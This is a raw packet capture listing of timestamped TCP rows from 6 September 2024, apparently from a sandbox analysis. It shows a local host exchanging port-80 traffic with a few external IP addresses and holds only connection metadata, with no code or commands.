Sep 6, 2024 08:17:06.819185972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819191933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819202900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819212914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819215059 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819225073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819236994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819245100 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819247007 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819247007 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819258928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819272041 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819288015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819291115 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819293976 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819300890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819312096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819319010 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819322109 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819334030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819338083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819345951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819356918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819356918 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819380045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819391012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819401026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819402933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819403887 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819427967 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819566011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819576025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819586039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819596052 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819596052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819607019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819617987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819621086 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819628954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819638968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819643974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819648027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819657087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819658995 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819669008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819679976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819684982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819698095 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819709063 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819719076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819760084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819771051 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819781065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819786072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819792986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819803953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819814920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819814920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819827080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819833040 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819839954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819853067 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819854021 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819884062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819890022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819890022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819895029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819911003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819919109 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819920063 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819930077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819932938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819942951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819952011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819957018 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.819960117 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819962025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.819973946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819982052 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819984913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.819993973 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.819996119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820008039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820022106 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820029974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820051908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820051908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820081949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820094109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820102930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820108891 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820115089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820125103 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820135117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820146084 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.820168018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820178032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820183992 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820183992 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820223093 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820223093 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820256948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820267916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820278883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820290089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820302010 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820312023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820327044 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820394993 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820405960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820415974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820424080 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820426941 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820439100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820441961 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820451021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820462942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820463896 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820492029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820528984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820540905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820549965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820558071 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820559978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820571899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820575953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820581913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820600986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.820604086 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820635080 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820647001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820655107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820664883 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.820667028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820677996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820691109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820699930 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820699930 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820700884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820713997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.820724964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820727110 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.820735931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820745945 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.820770979 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.820771933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820797920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820807934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820817947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820826054 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820830107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820842028 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820842028 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820878029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820878029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820882082 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820893049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820904016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820914030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820933104 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820933104 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820957899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820970058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820980072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.820982933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.820998907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821010113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821011066 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.821011066 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.821033001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.821041107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821050882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821062088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821068048 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.821075916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821086884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821088076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.821101904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821115017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.821150064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821154118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.821155071 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.821162939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821175098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821183920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.821460962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.824496984 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:06.828291893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828300953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828310966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828331947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828342915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828353882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828356981 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828372955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828381062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828383923 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828401089 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828428984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828438997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828452110 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828454971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828464985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828475952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828488111 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828519106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828519106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828547001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828557014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828567982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828578949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828588963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828596115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828628063 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828628063 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828645945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828656912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828668118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828706026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828721046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828732014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828732967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828744888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828769922 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828769922 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828799963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828810930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828819990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828821898 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828846931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828846931 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828856945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828866959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828872919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828879118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828891039 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828907967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828907967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.828957081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828968048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828977108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.828983068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829001904 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829035997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829049110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829061985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829065084 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829076052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829086065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829088926 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829097033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829123020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829123020 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829123020 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829133987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829143047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829148054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829165936 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829277992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829866886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829937935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829947948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.829957962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.829958916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830008030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830008984 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830024958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830035925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830045938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830055952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830081940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830081940 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830091953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830101967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830106974 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830112934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830128908 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830173016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830173016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830189943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830200911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830210924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830221891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830231905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830256939 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830293894 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830302954 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830312967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830322981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830324888 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830333948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830344915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830360889 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830362082 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830372095 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830385923 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830385923 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830435038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830445051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830462933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830467939 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830473900 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830482960 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830485106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830495119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830508947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830542088 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830542088 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830563068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830574036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830583096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830606937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830622911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830631971 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830634117 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830645084 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.830660105 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830693960 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830693960 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.830775023 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830816031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830825090 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830843925 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830862999 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830873966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830884933 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830895901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830905914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830915928 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830921888 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.830926895 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830940962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.830950975 CEST	80	49739	31.41.244.9	192.168.2.4
